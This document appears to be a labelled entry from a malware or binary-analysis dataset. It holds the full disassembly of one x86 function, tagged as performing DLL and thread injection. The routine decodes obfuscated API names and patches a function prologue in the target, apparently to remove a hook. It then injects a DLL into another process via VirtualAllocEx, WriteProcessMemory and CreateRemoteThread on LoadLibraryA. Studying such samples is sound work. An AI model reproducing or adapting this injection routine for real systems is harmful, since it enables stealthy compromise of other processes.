Function at 0x401040
Capabilities:
Create thread
Inject dll
Inject thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x404018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x63
mov esi, ecx
lea ecx, [ebp - 0x6f]
push 0
push ecx
mov dword [ebp - 0xb0], eax
mov byte [ebp - 0x70], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0x8b55ff8b
mov byte [ebp - 8], 0xec
mov ecx, 0xfe
xor eax, eax
mov dl, byte [eax + 0x4031c8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0xa0], dl
jns 0x4010a7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x401087
lea eax, [ebp - 0xa0]
push eax
mov ecx, 0x6f3f38
lea eax, [ebp - 0xac]
mov byte [ebp - 0x8f], 0
call fcn.00401f90
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0xb4], eax
xor eax, eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov word [ebp - 0xa4], ax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov word [ebp - 0x90], ax
mov ecx, 0xfe
lea esp, [esp]
mov dl, byte [eax + 0x4031e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x8c], dl
jns 0x401140
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401120
mov byte [ebp - 0x81], 0
mov ecx, 0xfe
xor eax, eax
mov dl, byte [eax + 0x4031f4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x80], dl
jns 0x401171
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x401154
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x80]
push ecx
mov byte [ebp - 0x72], 0
call edi
push eax
call ebx
mov ecx, 0xfe
xor eax, eax
mov dl, byte [eax + 0x403204]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x8c], dl
jns 0x4011b2
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401192
mov byte [ebp - 0x81], 0
mov ecx, 0xfe
xor eax, eax
mov dl, byte [eax + 0x403210]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x80], dl
jns 0x4011e3
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x4011c6
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x80]
push ecx
mov byte [ebp - 0x74], 0
call edi
push eax
call ebx
mov ecx, 0xfe
xor eax, eax
mov dl, byte [eax + 0x4031e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x80], dl
jns 0x401221
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401204
lea eax, [ebp - 0x80]
push eax
mov ecx, 0x6f3f7c
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x75], 0
call fcn.00402010
push eax
call edi
push eax
call ebx
mov ecx, 0xfe
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x403204]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x80], dl
jns 0x40126d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401250
lea eax, [ebp - 0x80]
push eax
mov ecx, 0x6f3f7c
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x75], 0
call fcn.00402010
push eax
call edi
push eax
call ebx
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [ebp - 0xb0]
push 0
lea ecx, [ebp - 0x70]
push ecx
push 0x104
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push str.RtlGetFullPathName_U
push str.ntdll.dll
call edi
push eax
call ebx
push str.LoadLibraryA
push str.kernel32.dll
call edi
push eax
call ebx
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0x70]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4012e3
push 4
push 0x3000
sub eax, ecx
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xb4]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 5
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push ecx
push esi
call ebx
lea eax, [ebp - 0x70]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401320
push 0
sub eax, ecx
push eax
lea edx, [ebp - 0x70]
push edx
push edi
push esi
call ebx
mov eax, dword [ebp - 0xb0]
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040210d
mov esp, ebp
pop ebp
ret